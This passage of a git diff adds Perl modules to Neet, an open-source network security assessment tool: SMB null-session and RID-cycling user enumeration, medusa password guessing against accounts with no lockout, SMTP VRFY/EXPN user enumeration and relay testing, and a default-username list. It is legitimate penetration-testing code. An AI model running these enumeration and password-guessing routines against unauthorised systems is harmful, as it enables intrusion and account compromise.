($win,$apple)=(0,0); + for my $line (@smbfile){ + if ($line =~ /OS=\[Windows/){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","SMBType","Windows"); + $win=1; + last; + } elsif ($line =~ /OS=\[Apple/){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","SMBType","Apple"); + $apple=1; + last; + } + } + $MainScan->SetStatValue("$outputDir/hostInfo.txt","SMBType","Samba") if (!$win && !$apple); + } + $self->SetScanComplete("smbtype","$host"); + } + + # Enumerating domain sid + if (!$self->IsScanComplete("domainsid","$host")){ + $command=$MainScan->getPath("rpcclient") . " //${host} -U '' -N -c lsaquery > $outputDir/raw/domainsid.txt 2>>$outputDir/raw/nbenumerrors.log"; + my $error=$MainScan->System("$command"); + if ($error){ + sleep (int(rand(3))+1); + my $error=$MainScan->System("$command"); + } + if (-f "$outputDir/raw/domainsid.txt" && (my @sidfile=$MainScan->ReadFile("$outputDir/raw/domainsid.txt"))){ + for my $line (@sidfile){ + chomp $line; + if ($line =~ /^Domain Name:/){ + my ($j,$Domain)=split(": ",$line); + # Write Domain to hostInfo.txt + $MainScan->SetStatValue("$outputDir/hostInfo.txt","Domain","$Domain"); + } + if ($line =~ /^Domain Sid:/){ + ($j,$Sid)=split(": ",$line); + # Write Sid to hostInfo.txt + if (length($Sid) < 32){ + # Samba + $command=$MainScan->getPath("rpcclient") . " //${host} -U '' -N -c 'lookupnames root' > $outputDir/raw/rootsid.txt 2>>$outputDir/raw/nbenumerrors.log"; + $MainScan->System("$command"); + if (-f "$outputDir/raw/rootsid.txt" && (my @rsidfile=$MainScan->ReadFile("$outputDir/raw/rootsid.txt"))){ + for my $line (@rsidfile){ + if ($line =~ /^root S\-/){ + my ($j,$sid,@trash)=split " ", $line; my @comp; + if ($sid){ + @comp=split "\\-", $sid; pop (@comp); $sid = join "-", @comp; + $MainScan->SetStatValue("$outputDir/hostInfo.txt","DomainSID","$sid"); + } + } + last; + } + } + #$MainScan->SetStatValue("$outputDir/hostInfo.txt","SMBType","Samba"); + } else { + # Windows + $MainScan->SetStatValue("$outputDir/hostInfo.txt","DomainSID","$Sid"); + #$MainScan->SetStatValue("$outputDir/hostInfo.txt","SMBType","Windows"); + } + } + } + # Mark scan as complete + $self->SetScanComplete("domainsid","$host"); + } + } + + # Domain Trusts + if (!$self->IsScanComplete("domaintrusts","$host")){ + $command=$MainScan->getPath("rpcclient") . " //${host} -U '' -N -c enumtrust > $outputDir/netbios/domaintrusts.txt 2>>$outputDir/raw/nbenumerrors.log"; + $MainScan->System("$command"); + + if (-f "$outputDir/netbios/domaintrusts.txt"){ + # Mark scan as complete + $self->SetScanComplete("domaintrusts","$host"); + } else { + unlink "$outputDir/netbios/domaintrusts.txt"; + } + } + + # Domain Info + if (!$self->IsScanComplete("domaininfo","$host")){ + $command=$MainScan->getPath("rpcclient") . " //${host} -U '' -N -c querydominfo > $outputDir/raw/domaininfo.txt 2>>$outputDir/raw/nbenumerrors.log"; + $MainScan->System("$command"); + + if (-f "$outputDir/raw/domaininfo.txt" && (my @sidfile=$MainScan->ReadFile("$outputDir/raw/domaininfo.txt"))){ + # Mark scan as complete + $self->SetScanComplete("domaininfo","$host"); + } else { + unlink "$outputDir/raw/domaininfo.txt"; + } + } + + # User enumeration (Null Session) + if (!$self->IsScanComplete("nullusers","$host")){ + $command=$MainScan->getPath("net") . " rpc user -S ${host} -U ''%'' > $outputDir/netbios/users.txt 2>>$outputDir/raw/nbenumerrors.log"; + my $error=$MainScan->System("$command"); + + if (!$error && -f "$outputDir/netbios/users.txt" && (my @ufile=$MainScan->ReadFile("$outputDir/netbios/users.txt"))){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","NullEnum","True"); + my $message="Host allows user enumeration via Null SMB sessions (" . $#ufile . " users)"; + $MainScan->ConfigError($host, "issue", "GSM-SMB-4", $message); + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/nullSessions.txt","$host"); + # Mark scan as complete + $self->SetScanComplete("nullusers","$host"); + } else { + unlink ("netbios/users.txt"); + } + } + + # LDAP enumeration with anonymous bind + if (!$self->IsScanComplete("ldapscan","$host")){ + $command=$MainScan->getPath("net") . " ads lookup -S $host > $outputDir/raw/ads.txt 2>>$outputDir/raw/nbenumerrors.log"; + my $error=$MainScan->System("$command"); + if (-f "$outputDir/raw/ads.txt" && (my @file=$MainScan->ReadFile("$outputDir/raw/ads.txt"))){ + for my $line (@file){ + # Add values to hostInfo.txt + if (($line =~ /\syes\s/) && ($line =~ /Is a PDC/)){$MainScan->SetStatValue("$outputDir/hostInfo.txt","IsPDC","True"); next;} + if (($line =~ /\syes\s/) && ($line =~ /Is a GC of/)){$MainScan->SetStatValue("$outputDir/hostInfo.txt","IsGC","True"); next;} + if (($line =~ /\syes\s/) && ($line =~ /running a KDC/)){$MainScan->SetStatValue("$outputDir/hostInfo.txt","IsKDC","True"); next;} + if (($line =~ /\syes\s/) && ($line =~ /running time services/)){$MainScan->SetStatValue("$outputDir/hostInfo.txt","IsTime","True"); next;} + if (($line =~ /\syes\s/) && ($line =~ /closest DC/)){$MainScan->SetStatValue("$outputDir/hostInfo.txt","IsClosestDC","True"); next;} + if (($line =~ /\syes\s/) && ($line =~ /Is writable/)){$MainScan->SetStatValue("$outputDir/hostInfo.txt","IsWritable","True"); next;} + if (($line =~ /\syes\s/) && ($line =~ /Is a non-domain/)){$MainScan->SetStatValue("$outputDir/hostInfo.txt","Non-Domain","True"); next;} + + for my $data ("Forest","Domain","Site Name","Domain Controller"){ + if ($line =~ /^${data}:/){ + chomp $line; + $line =~ s/^${data}:[\s]+//g; + my $role=$data; $role =~ s/\s//g; + $MainScan->SetStatValue("$outputDir/hostInfo.txt","$role","$line"); + last; + } + } + } + # Mark scan as complete + $self->SetScanComplete("ldapscan","$host"); + } else { + unlink("$outputDir/raw/ads.txt"); + } + } + + # SHARES + if (!$self->IsScanComplete("shares","$host")){ + $command=$MainScan->getPath("net") . " rpc share -l -S ${host} -U ''%'' > $outputDir/netbios/shares.txt 2>>$outputDir/raw/nbenumerrors.log"; + $error=$MainScan->System("$command"); + if (!$error && -f "$outputDir/netbios/shares.txt" && (my @shfile=$MainScan->ReadFile("$outputDir/netbios/shares.txt"))){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","ExportsShares","True"); + my $message="Host allows share enumeration via Null SMB sessions"; + $MainScan->ConfigError($host, "issue", "GSM-SMB-3", $message); + $self->SetScanComplete("shares","$host"); + } + } + + # GROUPS + if (!$self->IsScanComplete("groups","$host")){ + $command=$MainScan->getPath("net") . " rpc group -l -S ${host} -U ''%'' > $outputDir/netbios/groups.txt 2>>$outputDir/raw/nbenumerrors.log"; + $error=$MainScan->System("$command"); + if (!$error && -f "$outputDir/netbios/groups.txt" && (my @gfile=$MainScan->ReadFile("$outputDir/netbios/groups.txt"))){ + for my $group ("Administrators","Domain Admins","Enterprise Admins","Domain Controllers"){ + $MainScan->System($MainScan->getPath("net") . " rpc group MEMBERS \"${group}\" -l -S ${host} -U ''%'' > \"$outputDir/netbios/members-${group}.txt\" 2>>$outputDir/raw/nbenumerrors.log"); + } + $self->SetScanComplete("groups","$host"); + } + } + + # Detailed user info + if (!$self->IsScanComplete("detailedinfo","$host")){ + my $user_limit=50; my $c=0; + for my $user ($MainScan->ReadFile("$outputDir/netbios/users.txt")){ + next if (!$user || $user !~ /\S/); + next if (($user =~ /\(/) || ($user =~ /failed/)); + last if ($c > $user_limit); + chomp $user; + next if (-f "$outputDir/netbios/details-${user}.txt"); + my $rid=`rpcclient //$host -U "" -N -c "samlookupnames domain \"$user\"" 2>>$outputDir/raw/nbenumerrors.log`; + next if ($rid =~ /NT\_STATUS\_/); + # rpcclient returns RPC error information in STDOUT, not STDERR. Clean this stuff out before processing. + $rid=~s/^[\s\S]+ $user: (0x\w{2,5})\s[\s\S]+/$1/; $rid=hex $rid; + $MainScan->SetStatValue("$outputDir/netbios/rids.txt","$user","$rid"); + $MainScan->System($MainScan->getPath("rpcclient") . " //${host} -U '' -N -c \"queryuser $rid\" > \"$outputDir/netbios/details-${user}.txt\" 2>>$outputDir/raw/nbenumerrors.log"); + $c++; + } + $self->SetScanComplete("detailedinfo","$host"); + } + + if ($MainScan->GetStatKey("$outputDir/hostInfo.txt","NullEnum")){ + # PASSWORD POLICY + # Run the command if the flag isn't set and we're enumerating a Windows machine + if (!$self->IsScanComplete("passpol","$host") && ($MainScan->GetStatValue("$outputDir/hostInfo.txt","SMBType") eq "Windows")){ + $command="echo account show | " . $MainScan->getPath("net") . " rpc shell -S ${host} -U ''%'' >$outputDir/netbios/passwordpolicy.txt 2>>$outputDir/raw/nbenumerrors.log"; + my $error=$MainScan->System("$command"); + if (-f "$outputDir/netbios/passwordpolicy.txt" && (my @ppfile=$MainScan->ReadFile("$outputDir/netbios/passwordpolicy.txt"))){ + my $lockout=0; + for my $line (@ppfile){ + if ($line =~ /Bad logon attempts:\s+[1-9]{1,}/){ + $lockout=1; + last; + } + } + + if ($lockout == 0){ + $MainScan->SetStatValue("$outputDir/hostInfo.txt","NoLockout","True"); + my $message="Host has no password lockout policy"; + $MainScan->ConfigError($host, "issue", "GSM-SMB-1", $message); + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/noLockout.txt","$host"); + $hasNoLockout=1; + } + # Mark scan as complete + $self->SetScanComplete("passpol","$host"); + } + } + + # End of the NULL stuff + }# else { + #{ # Now try RID Cycling + if (!$MainScan->GetStatKey("$outputDir/hostInfo.txt","NullEnum")){ + # No NULL enumeration + if (!$self->IsScanComplete("ridcycle","$host")){ + my $smbtype=$MainScan->GetStatValue("$outputDir/hostInfo.txt","SMBType"); + if ($smbtype && "$smbtype" =~ /windows/i){ + my $sid=$MainScan->GetStatValue("$outputDir/hostInfo.txt","DomainSID"); + if ($sid){ + my $maxrid=2000; + for (my $rid=500; $rid<$maxrid; $rid++){ + my $uname=`rpcclient //$host -U '' -N -c "lookupsids ${sid}-${rid}" 2>>$outputDir/raw/nbenumerrors.log`; + chomp $uname; + next if (($uname =~ /NT_STATUS_NONE_MAPPED/) || ($uname =~ /\*unknown\*/)); + $uname=~s/^\S+\s([\S\s]+)\([\s\S]+/$1/; + $MainScan->SetStatValue("$outputDir/netbios/ridcycled.txt","$uname","$rid"); + } + $ridcycledOK=1; + } + } else { + my $sid=$MainScan->GetStatValue("$outputDir/hostInfo.txt","DomainSID"); + if ($sid){ + my $maxrid=100; + for (my $rid=0; $rid<$maxrid; $rid++){ + my $uname=`rpcclient //$host -U '' -N -c "lookupsids ${sid}-${rid}" 2>>$outputDir/raw/nbenumerrors.log`; + chomp $uname; + next if (($uname =~ /NT_STATUS_NONE_MAPPED/) || ($uname =~ /\*unknown\*/)); + + $uname=~s/^\S+\s([\S\s]+)\([\s\S]+/$1/; + $MainScan->SetStatValue("$outputDir/netbios/ridcycled.txt","$uname","$rid"); + } + for my $rid (500,501){ + my $uname=`rpcclient //$host -U '' -N -c "lookupsids ${sid}-${rid}" 2>>$outputDir/raw/nbenumerrors.log`; + chomp $uname; + next if (($uname =~ /NT_STATUS_NONE_MAPPED/) || ($uname =~ /\*unknown\*/)); + $uname=~s/^\S+\s([\S\s]+)\([\s\S]+/$1/; + $MainScan->SetStatValue("$outputDir/netbios/ridcycled.txt","$uname","$rid"); + } + $maxrid=1100; + for (my $rid=1000; $rid<$maxrid; $rid++){ + my $uname=`rpcclient //$host -U '' -N -c "lookupsids ${sid}-${rid}" 2>>$outputDir/raw/nbenumerrors.log`; + chomp $uname; + next if (($uname =~ /NT_STATUS_NONE_MAPPED/) || ($uname =~ /\*unknown\*/)); + $uname=~s/^\S+\s([\S\s]+)\([\s\S]+/$1/; + $MainScan->SetStatValue("$outputDir/netbios/ridcycled.txt","$uname","$rid"); + } + $ridcycledOK=1; + } + } + $self->SetScanComplete("ridcycle","$host"); + } + + if ($ridcycledOK && !$self->IsScanComplete("ridcyclesort","$host") && $self->IsScanComplete("ridcycle","$host")){ + my $validUsers=0; + for my $uname ($MainScan->ReadFile("$outputDir/netbios/ridcycled.txt")){ + chomp $uname; + last if ("$uname" =~ /NT_STATUS_ACCESS_DENIED/); + next if ("$uname" =~ /NT_STATUS/); + my $sid=$uname; $sid =~ s/[\S\s]+ (\d+)$/$1/; + $uname =~ s/\s+\d+$//; + $uname =~ s/Unix User\\//; + next if ($uname =~ /\S+\\unix_user\./); + next if ($uname =~ /\S+\\unix_group\./); + next if ("$uname" eq "$sid"); + $validUsers++; + $MainScan->SetListItem("$outputDir/netbios/users.txt","$uname"); + } + if ($validUsers){ + my $message="Host allows user enumeration via RID Cycling"; + $MainScan->ConfigError($host, "issue", "GSM-SMB-5", $message); + } + $self->SetScanComplete("ridcyclesort","$host"); + } + } + + # Finally, try guessing trivial passwords if there is no lockout + if ($hasNoLockout && !$self->IsScanComplete("passwordGuess","$host")){ + my $medusa=$MainScan->getPath("medusa"); + my $output="$outputDir/raw/medusa.txt"; + if ($medusa){ + if (-f "$outputDir/netbios/users.txt"){ + $MainScan->System("$medusa -h $host -ens -U \"$outputDir/netbios/users.txt\" -L -M smbnt > $output 2>&1"); + for my $line ($MainScan->ReadFile($output)){ + next if ($line !~ /ACCOUNT FOUND/); + if ($line =~ /\s\[SUCCESS\]\s/){ + my ($user,$password)=parseMedusa($line); + #print "Guessed password for $user: \"$password\"\n"; + $MainScan->StoreGuessedPassword($target,"comp","SMB",$user,"\"$password\"","GSM-SMB-6","Logged in as $user password \"$password\""); + next; + } + if ($line =~ /STATUS_ACCOUNT_DISABLED/){ + my ($user,$password)=parseMedusa($line); + $MainScan->SetListItem("$outputDir/hostInfo.txt","DisabledAccount: $user"); + #print "$user: account is disabled.\n"; + next; + } + } + } + $self->SetScanComplete("passwordGuess","$host"); + } + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub parseMedusa { + my $line=shift(); + my ($user,$password)=("",""); + my ($junk,$data)=split ("User: ",$line); + ($user,$data)=split (" Password: ",$data); + ($password,$junk)=split (" \\[\\S",$data); + return ($user,$password); +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} +1; diff --git a/content/SMTP/SMTP.gsm b/content/SMTP/SMTP.gsm new file mode 100644 index 0000000..fde0ad6 --- /dev/null +++ b/content/SMTP/SMTP.gsm @@ -0,0 +1,478 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Contact: jonnyhightower [at] funkygeek.com +# +########################################################################## + +package SMTP; + +sub new { + my $pkg=shift(); + my %struct; + $struct{'Name'}=$pkg; + $struct{'MainScan'}=shift(); + my $self=\%struct; + bless $self, $pkg; + + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + # Customise these parameters + $struct{'Enabled'}=1; + $struct{'Protocol'}='tcp'; + @{$struct{'WatchFiles'}}=("smtp.txt"); + $struct{'Cost'}=5; + $struct{'OnePerHost'}=0; + $struct{'MaxInstances'}=0; + @{$struct{'ConflictingModules'}}=(''); + + # End parameter customisation + # >>>>>>>>>>>>>>>>>>>>>>>>>>> + + return $self; +} + +sub activate { + my $self=shift(); + my $MainScan=$$self{'MainScan'}; + my $target=shift(); + my $file=shift(); + my $threadID=Neet::threads->tid; + my $cost=$$self{'Cost'}; + my $name=$$self{'Name'}; + my $Config=$MainScan->Config; + my $Log=$MainScan->Log; + my ($host,$protport) = split (":", $target); + my $socket=$host; + my ($protocol,$port); + my $outputDir=$MainScan->ResultsDirectory . "/$host"; + my $resourceDir=$MainScan->ResourceDirectory . "/modules/$name"; + my ($targetType,$interface)=$MainScan->IsHostLocal($host); + + ($protocol,$port) = split ("/", $protport) if ($protport); + $socket .= ":$port" if ($port); + return 0 if ($protocol && $$self{'Protocol'} && ("$protocol" ne "$$self{'Protocol'}")); + # Don't scan if the host is cancelled + if ($MainScan->IsHostCancelled($host)){ + $Log->Status ("$name (thread $threadID) -> scans against $target CANCELLED\n","LOGONLY"); + return 0; + } + $0 = "Neet - GSM: $name thread $threadID testing $target"; + + if (!$self->IsScanComplete("$name","$target")){ + # Tell the user what we're doing + $Log->Status ("GSM $name (thread $threadID) -> Scanning $socket ($targetType $interface)\n"); + + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + #>>>>>>>>>>>>> Beginning of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> >>>>>>>>>>>>> + + use IO::Socket::INET; + + # Set up the signal handler for exiting cleanly + $SIG{'USR1'}=sub{ + $self->SetScanInComplete("$name","$target"); + Neet::threads->exit(); + }; + + my $users=$Config->GetVal("ResourceDirectory") . "/modules/${name}/" . "defaultUsers"; + my $randomString; + for (my $i=0; $i<12; $i++){ + $randomString .= chr(int(rand(26))+65); + } + + my @testUsers=("root","someunknownuser","postmaster","bounce",$randomString); + my @validUsers; + my ($vrfy,$expn,$relay,$vrfyFalsePositive,$expnFalsePositive,$vrfyUseDomain,$expnUseDomain) + =(0,0,0,0,0,0,0); + my ($code,$domain,$version,$time,$response); + + no strict 'subs'; + sub SMTP { + my $sock=shift(); + my $message=shift(); + my $timeout=10; # Seconds + my $response; + my $code; + my $DEBUG=0; + $SIG{'ALRM'}=sub { + die ("TIMEOUT"); + }; + alarm ($timeout); + eval { + print "Sending: $message" if ($DEBUG); + print $sock ("$message"); + $response=<$sock>; + print "Response: $response" if ($DEBUG); + alarm 0; + }; + + if ("$@" !~ /^TIMEOUT/){ + $SIG{'ALRM'}=''; + if ($response =~ /^\d{3}\s/){ + ($code,$response) = split(" ", $response,2); + print "Code: $code Message: $response" if ($DEBUG); + return ($code,$response); + } + } else { + $SIG{'ALRM'}=''; + return (0,0); + } + } + + # Test for VRFY and EXPN first + my $sock=IO::Socket::INET->new( 'PeerAddr' => $host, + 'PeerPort' => $port, + 'Proto' => 'tcp' + ); + if ($sock){ + ($code,$response)= SMTP($sock,""); + if ($code){ + for my $element (split " ", $response){ + if (($element =~ /\./) && ($element !~ /SMTP/)){ + chomp $element; + $domain=$element; + last; + } + } + if ($domain){ + if ($domain =~ /^\S+\.\S+\.\S+$/){ + $domain = substr($domain,(index($domain,".")+1),(length($domain)-index($domain,".")-1)); + } + } + ($code,$response)= SMTP($sock,"HELO neettest.com\r\n"); + + # See if VRFY actually works + for my $q (1, 2){ + my $FalsePositive=0; + last if (($q == 2) && (!$domain)); + # We try this twice, first with the domain component and second without + my $skip=0; + for my $user (@testUsers){ + my $smtpUser=$user; + if ($q == 2){ + $smtpUser .= "@" . $domain; + } + ($code,$response)= SMTP($sock,"VRFY $smtpUser\r\n"); + if ($code =~ /^5/){ + $skip=1; + last; + } elsif ($code =~ /^25\d/ && $response !~ /Cannot VRFY /i){ + if ("$user" eq "$randomString"){ + $FalsePositive=1; + last; + } else { + $vrfyUseDomain=1 if ($q == 2); + $vrfy=1; + } + } + } + $vrfyFalsePositive=$FalsePositive; + last if ($skip); + } + + # Same with EXPN + for my $q (1, 2){ + my $FalsePositive=0; + last if (($q == 2) && (!$domain)); + # We try this twice, first with the domain component and second without + my $skip=0; + for my $user (@testUsers){ + my $smtpUser=$user; + if ($q == 2){ + $smtpUser .= "@" . $domain; + } + ($code,$response)= SMTP($sock,"EXPN $smtpUser\r\n"); + if ($code =~ /^5/){ + $skip=1; + last; + } elsif ($code =~ /^25\d/ && $response !~ /Cannot EXPN /i){ + if ("$user" eq "$randomString"){ + $FalsePositive=1; + last; + } else { + $expnUseDomain=1 if ($q == 2); + $expn=1; + } + } + } + $expnFalsePositive=$FalsePositive; + last if ($skip); + } + + ($code,$response)= SMTP($sock,"QUIT\r\n"); + + } + close $sock; + } + + # User enumeration by expn if available, otherwise by vrfy + + $#validUsers=-1; + @testUsers=$MainScan->ReadFile($users); + + my $method="EXPN"; + if ($expn && !$expnFalsePositive){ + my $message="SMTP service supports EXPN"; + $MainScan->RecordIssue($target,"GSM-SMTP-2",$message); + + my $sock=IO::Socket::INET->new( 'PeerAddr' => $host, + 'PeerPort' => $port, + 'Proto' => 'tcp' + ); + if ($sock){ + ($code,$response)= SMTP($sock,""); + if ($code){ + for my $element (split " ", $response){ + if (($element =~ /\./) && ($element !~ /SMTP/)){ + chomp $element; + $domain=$element; + last; + } + } + if ($domain){ + if ($domain =~ /^\S+\.\S+\.\S+$/){ + $domain = substr($domain,(index($domain,".")+1),(length($domain)-index($domain,".")-1)); + } + } + ($code,$response)= SMTP($sock,"HELO neettest.com\r\n"); + + for my $user (@testUsers){ + my $smtpUser=$user; + if ($expnUseDomain){ + $smtpUser .= "@" . $domain; + } + ($code,$response)= SMTP($sock,"EXPN $smtpUser\r\n"); + if ($code =~ /^25\d/ && $response !~ /Cannot /i){ + push @validUsers, $user; + } + } + } + close $sock; + } + } elsif ($vrfy && !$vrfyFalsePositive){ + $method="VRFY"; + my $message="SMTP service supports VRFY"; + $MainScan->RecordIssue($target,"GSM-SMTP-1",$message); + + my $sock=IO::Socket::INET->new( 'PeerAddr' => $host, + 'PeerPort' => $port, + 'Proto' => 'tcp' + ); + if ($sock){ + ($code,$response)= SMTP($sock,""); + if ($code){ + for my $element (split " ", $response){ + if (($element =~ /\./) && ($element !~ /SMTP/)){ + chomp $element; + $domain=$element; + last; + } + } + } + if ($domain){ + if ($domain =~ /^\S+\.\S+\.\S+$/){ + $domain = substr($domain,(index($domain,".")+1),(length($domain)-index($domain,".")-1)); + } + } + ($code,$response)= SMTP($sock,"HELO neettest.com\r\n"); + + for my $user (@testUsers){ + my $smtpUser=$user; + if ($expnUseDomain){ + $smtpUser .= "@" . $domain; + } + ($code,$response)= SMTP($sock,"VRFY $smtpUser\r\n"); + if ($code =~ /^25\d/ && $response !~ /Cannot /i){ + push @validUsers, $user; + } + } + close $sock; + } + } + + my $FH; + if ($#validUsers >=0 && open($FH,">>${outputDir}/smtpEnum.txt")){ + print $FH "Enumerated the following users using $method:\n"; + print $FH join "\n", @validUsers; + print $FH "\n"; + close $FH; + my $num=$#validUsers +1; + my $message="SMTP service: Enumerated $num users with $method"; + $MainScan->RecordVulnerability($target,"GSM-SMTP-3",$message); + } + + + # Now the RELAY test + my ($mail,$rcpt)=(0,0); + my $targetMail=$Config->GetVal("Accounts.MailRelay"); + + $sock=IO::Socket::INET->new( 'PeerAddr' => $host, + 'PeerPort' => $port, + 'Proto' => 'tcp' + ); + if ($sock){ + ($code,$response)= SMTP($sock,""); + if ($code){ + for my $element (split " ", $response){ + if (($element =~ /\./) && ($element !~ /SMTP/)){ + chomp $element; + $domain=$element; + last; + } + } + if ($domain){ + if ($domain =~ /^\S+\.\S+\.\S+$/){ + $domain = substr($domain,(index($domain,".")+1),(length($domain)-index($domain,".")-1)); + } + } else { + $domain="thisd0m41nshouldnotexist.com"; + } + + for my $u ($MainScan->ReadFile("smtpEnum.txt")){ + next if (!defined($u) || ($u =~ /Enumerated the following/)); + chomp $u; + $user=$u; + last; + } + $user="root" if (!$user); + + ($code,$response)= SMTP($sock,"HELO neettest.com\r\n"); + ($code,$response)= SMTP($sock,"MAIL FROM: ${user}\@${domain}\r\n"); + if ($code =~ /^25\d/){ + $mail=1; + } + if ($mail){ + ($code,$response)= SMTP($sock,"RCPT TO: $targetMail\r\n"); + if ($code =~ /^25\d/){ + $rcpt=1; + } + } + + if ($rcpt){ + ($code,$response)= SMTP($sock,"DATA\r\n"); + if ($code =~ /^3/){ + ($code,$response)= SMTP($sock, + "To: RECIP <${targetMail}>\r\n" . + "From: SEND <${user}\@${domain}>\r\n" . + "Subject: Mail Relay Test from ${target} {$domain}\r\n\r\n" . + "If you are reading this, then the SMTP server at $target $port is relaying mail for domains other than $domain.\r\n.\r\n\r\n"); + + if ($code =~ /^25\d/){ + $relay=1; + } + } + } + + if ($relay){ + my $message="SMTP service allows mail relays to $targetMail"; + $MainScan->RecordVulnerability($target,"GSM-SMTP-4",$message); + } + } + ($code,$response)= SMTP($sock,"QUIT\r\n"); + close $sock; + } + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED Scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/SMTP/defaultUsers b/content/SMTP/defaultUsers new file mode 100644 index 0000000..ebb10cb --- /dev/null +++ b/content/SMTP/defaultUsers @@ -0,0 +1,96 @@ +a +adm +admin +administrator +apache +avahi +avahi-autoipd +backup +backupexec +bin +bip +clamav +daemon +Debian-exim +dnsmasq +e +freerad +ftp +games +gdm +gnats +guest +h +haldaemon +halt +honeyd +hplip +i +identd +irc +jon +list +lp +mail +man +map +messagebus +moin +mysql +news +nobody +nstxd +ntp +o +openldap +operator +oracle +patrol +pentest +pop +privoxy +proxy +quagga +rachel +root +rpc +s +shutdown +siproxd +smmsp +sshd +statd +sync +sys +system +test +u +uucp +www +www-data +y +informix +mpi +help +user +super +public +debug +swift +db2as +db2inst1 +db2fenc1 +rewt +gamez +qlftpd +quest +friday +toor +hax0r +jack +date +OutOfBox +4Dgifts +demo +demos +EZsetup diff --git a/content/SNMP/SNMP.gsm b/content/SNMP/SNMP.gsm new file mode 100644 index 0000000..163c3d3 --- /dev/null +++ b/content/SNMP/SNMP.gsm @@ -0,0 +1,367 @@ +########################################################################## +# +# Neet: Network discovery, enumeration and security assessment tool +# Copyright (C) 2008-2014 Jonathan Roach +# +# This program is free software: you can redistribute it and/or 